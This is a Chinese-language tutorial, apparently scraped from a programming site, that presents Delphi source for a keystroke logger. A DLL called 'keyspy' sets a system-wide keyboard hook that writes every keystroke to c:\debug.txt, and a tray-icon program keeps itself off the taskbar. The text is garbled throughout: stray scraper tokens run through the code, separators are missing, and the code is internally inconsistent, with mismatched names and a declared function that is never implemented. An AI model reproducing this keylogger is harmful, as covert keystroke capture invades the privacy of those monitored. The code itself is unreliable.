Delphi利用Hook技术实现键盘监控
在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控/doc/">程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用/doc/">程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助/doc/">文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。 字串2
字串7
一、Hook(钩子)的实现: 字串1
Hook是应用/doc/">程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用/doc/">程序中实现,若应用/doc/">程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,/doc/">程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。 字串3
字串9
1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 代码如下: 字串1
library keyspy;
字串5
uses windows 字串9
messages
字串3
hookproc in 'hookproc.pas'; 字串6
exports setkeyhook 字串8
endkeyhook; 字串7
begin nexthookproc:=0; 字串8
procsaveexit:=exitproc;
字串8
exitproc:=@keyhookexit; 字串4
end.
2.在Hookproc.pas中实现了钩子具体过程: 字串5
unit hookproc;
字串5
interface uses Windows
Messages 字串7
SysUtils 字串6
Controls 字串1
StdCtrls; 字串9
var nexthookproc:hhook; 字串5
procsaveexit:pointer; 字串3
function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;
字串6
stdcall;
字串1
export; 字串2
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子 字串4
procedure keyhookexit;
far; 字串9
const afilename='c:\debug.txt';//将键盘输入动作写入文件中
var debugfile:textfile;
字串8
implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;
字串6
stdcall;
export; 字串8
begin if icode<0 then
begin result:=callnexthookex(hnexthookproc
字串2
icode
wparam
lparam);
exit; 字串6
end; 字串5
assignfile(debugfile 字串7
afilename); 字串4
append(debugfile); 字串5
if getkeystate(vk_return)<0 then
字串2
begin writeln(debugfile 字串1
'');
write(debugfile
字串2
char(wparam)); 字串4
end
else write(debugfile 字串2
char(wparam));
字串4
closefile(debugfile); 字串3
result:=0; 字串1
end; 字串2
function endkeyhook:bool;
字串9
export; 字串9
begin if nexthookproc<>0 then
字串1
begin unhookwindowshookex(nexthookproc);
字串8
nexthookproc:=0;
字串7
messagebeep(0);
字串4
end;
result:=hnexthookproc=0;
end; 字串7
procedure keyhookexit; 字串6
far;
begin if nexthookproc<>0 then 字串4
endkeyhook; 字串7
exitproc:=procsaveexit;
end; 字串1
end. 字串5
字串3
二、Win95/98使用任务栏右方指示区来显示应用/doc/">程序或/tool/">工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用/doc/">程序的图标添加到指示区中,使其作为图标运行 字串9
增加专业特色。当/doc/">程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。
unit kb;
interface
字串4
uses 字串9
Windows 字串2
Messages 字串2
SysUtils
Classes 字串6
Graphics
字串9
Controls 字串9
Forms 字串6
Dialogs
字串9
StdCtrls
字串6
Menus
字串7
shellapi; 字串9
const icon_id=1;
字串2
MI_iconevent=wm_user+1;//定义一个用户消息 字串3
type 字串2
TForm1 = class(TForm)
PopupMenu1: TPopupMenu; 字串9
sethook1: TMenuItem; 字串9
endhook1: TMenuItem; 字串8
N1: TMenuItem;
About1: TMenuItem;
字串9
Close1: TMenuItem;
Gettext1: TMenuItem; 字串5
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
字串5
procedure endhook1Click(Sender: TObject);
字串3
procedure FormDestroy(Sender: TObject); 字串4
procedure Close1Click(Sender: TObject); 字串5
private 字串2
{ Private declarations }
字串5
nid:tnotifyicondata; 字串9
normalicon:ticon;
字串5
public 字串8
{ Public declarations }
字串3
procedure icontray(var msg:tmessage); 字串9
message mi_iconevent;
字串6
end;
var
Form1: TForm1; 字串7
implementation
字串5
{$R *.DFM} 字串2
字串2
function setkeyhook:bool;
字串3
external 'keyspy.dll'; 字串6
function endkeyhook:bool; 字串7
external 'keyspy.dll';
字串3
procedure tform1.icontray(var msg:tmessage); 字串4
var 字串3
pt:tpoint; 字串4
begin 字串5
if msg.lparam=wm_lbuttondown then 字串6
sethook1click(self);
字串9
if msg.LParam=wm_rbuttondown then
字串9
begin
字串3
getcursorpos(pt);
字串9
setforegroundwindow(handle);
字串9
popupmenu1.popup(pt.x 字串8
pt.y);
end; 字串4
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
字串1
application.title:=caption; 字串5
nid.cbsize:=sizeof(nid); 字串9
nid.wnd:=handle; 字串3
nid.uid:=icon_id; 字串7
nid.uflags:=nif_icon or nif_message or nif_tip; 字串1
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip
pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip; shell_notifyicon(nim_add 字串1
@nid);
字串1
SetWindowLong(Application.Handle 字串1
GWL_EXSTYLE 字串8
WS_EX_TOOLWINDOW); 字串1
end; 字串1
procedure TForm1.sethook1Click(Sender: TObject);
字串5
begin setkeyhook;
字串8
end;
字串8
procedure TForm1.endhook1Click(Sender: TObject);
字串6
begin endkeyhook; 字串2
end; 字串8
字串6
procedure TForm1.FormDestroy(Sender: TObject);
begin nid.uFlags :=0;
字串1
shell_notifyicon(nim_delete
@nid);
end;
字串6
procedure TForm1.Close1Click(Sender: TObject); 字串1
begin application.terminate;
end;
字串2
该/doc/">程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。 字串6
该/doc/">程序在Win98、Delphi4.0中正常运行。 字串8


文章评论
共有 0位编程爱好者发表了评论 查看完整内容